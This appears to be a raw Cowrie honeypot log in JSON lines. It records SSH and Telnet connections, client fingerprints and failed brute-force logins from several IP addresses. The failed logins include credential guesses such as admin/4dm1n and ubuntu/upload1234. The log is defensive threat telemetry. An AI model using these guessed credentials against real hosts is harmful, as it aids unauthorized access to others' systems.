{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:39.062913Z","src_ip":"152.32.238.146","session":"4cb66e4b4499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deployer","message":"login attempt [deploy/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:39.146987Z","src_ip":"152.32.238.146","session":"4cb66e4b4499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:40.160206Z","src_ip":"152.32.238.146","session":"4cb66e4b4499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":41688,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd375fed4eb","protocol":"ssh","message":"New connection: 173.249.6.197:41688 (159.203.135.109:22) [session: 7fd375fed4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:40.554652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:40.558510Z","src_ip":"173.249.6.197","session":"7fd375fed4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:40.655762Z","src_ip":"173.249.6.197","session":"7fd375fed4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":42144,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb661880fd26","protocol":"ssh","message":"New connection: 140.106.25.230:42144 (159.203.135.109:22) [session: cb661880fd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:40.998029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:41.001215Z","src_ip":"140.106.25.230","session":"cb661880fd26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:41.030277Z","src_ip":"140.106.25.230","session":"cb661880fd26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4dm1n","message":"login attempt [admin/4dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:41.055069Z","src_ip":"173.249.6.197","session":"7fd375fed4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test#123","message":"login attempt [test/test#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:41.183200Z","src_ip":"140.106.25.230","session":"cb661880fd26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:42.149896Z","src_ip":"173.249.6.197","session":"7fd375fed4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:42.218608Z","src_ip":"140.106.25.230","session":"cb661880fd26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50490,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bd6ebb1d1af","protocol":"ssh","message":"New connection: 80.94.92.186:50490 (159.203.135.109:22) [session: 1bd6ebb1d1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:45.363790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:45.656329Z","src_ip":"80.94.92.186","session":"1bd6ebb1d1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:45.663649Z","src_ip":"80.94.92.186","session":"1bd6ebb1d1af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:46.582912Z","src_ip":"80.94.92.186","session":"1bd6ebb1d1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.832330465316772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:47.586001Z","src_ip":"31.22.4.154","session":"e72922197f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:47.826296Z","src_ip":"80.94.92.186","session":"1bd6ebb1d1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.22.4.154","src_port":48715,"dst_ip":"10.17.0.5","dst_port":23,"session":"230de80d51b4","protocol":"telnet","message":"New connection: 31.22.4.154:48715 (10.17.0.5:23) [session: 230de80d51b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:53.741931Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49228,"dst_ip":"159.203.135.109","dst_port":22,"session":"6051eaf15282","protocol":"ssh","message":"New connection: 159.203.92.129:49228 (159.203.135.109:22) [session: 6051eaf15282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:07.199695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:07.204111Z","src_ip":"159.203.92.129","session":"6051eaf15282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:07.208738Z","src_ip":"159.203.92.129","session":"6051eaf15282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"root","message":"login attempt [a/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:07.218983Z","src_ip":"159.203.92.129","session":"6051eaf15282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:08.229218Z","src_ip":"159.203.92.129","session":"6051eaf15282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25066,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf22148737eb","protocol":"ssh","message":"New connection: 194.59.206.2:25066 (159.203.135.109:22) [session: bf22148737eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:11.290114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:11.294307Z","src_ip":"194.59.206.2","session":"bf22148737eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:11.383134Z","src_ip":"194.59.206.2","session":"bf22148737eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:11.475653Z","src_ip":"194.59.206.2","session":"bf22148737eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":60314,"dst_ip":"10.17.0.5","dst_port":22,"session":"22988691b1d5","protocol":"ssh","message":"New connection: 152.32.238.146:60314 (10.17.0.5:22) [session: 22988691b1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:19.945386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:19.949952Z","src_ip":"152.32.238.146","session":"22988691b1d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:19.969392Z","src_ip":"152.32.238.146","session":"22988691b1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload1234","message":"login attempt [ubuntu/upload1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:20.059655Z","src_ip":"152.32.238.146","session":"22988691b1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:21.077740Z","src_ip":"152.32.238.146","session":"22988691b1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85082459449768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:24.592625Z","src_ip":"31.22.4.154","session":"230de80d51b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":59410,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b6ccb84002","protocol":"ssh","message":"New connection: 140.106.25.230:59410 (159.203.135.109:22) [session: 44b6ccb84002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:31.488335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:31.493052Z","src_ip":"140.106.25.230","session":"44b6ccb84002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:31.525041Z","src_ip":"140.106.25.230","session":"44b6ccb84002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zaq12wsx!","message":"login attempt [admin/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:31.680367Z","src_ip":"140.106.25.230","session":"44b6ccb84002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:32.713008Z","src_ip":"140.106.25.230","session":"44b6ccb84002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":37494,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f7e18be7d45","protocol":"ssh","message":"New connection: 103.63.108.25:37494 (159.203.135.109:22) [session: 4f7e18be7d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:38.683967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:38.689301Z","src_ip":"103.63.108.25","session":"4f7e18be7d45","protocol":"ssh"}
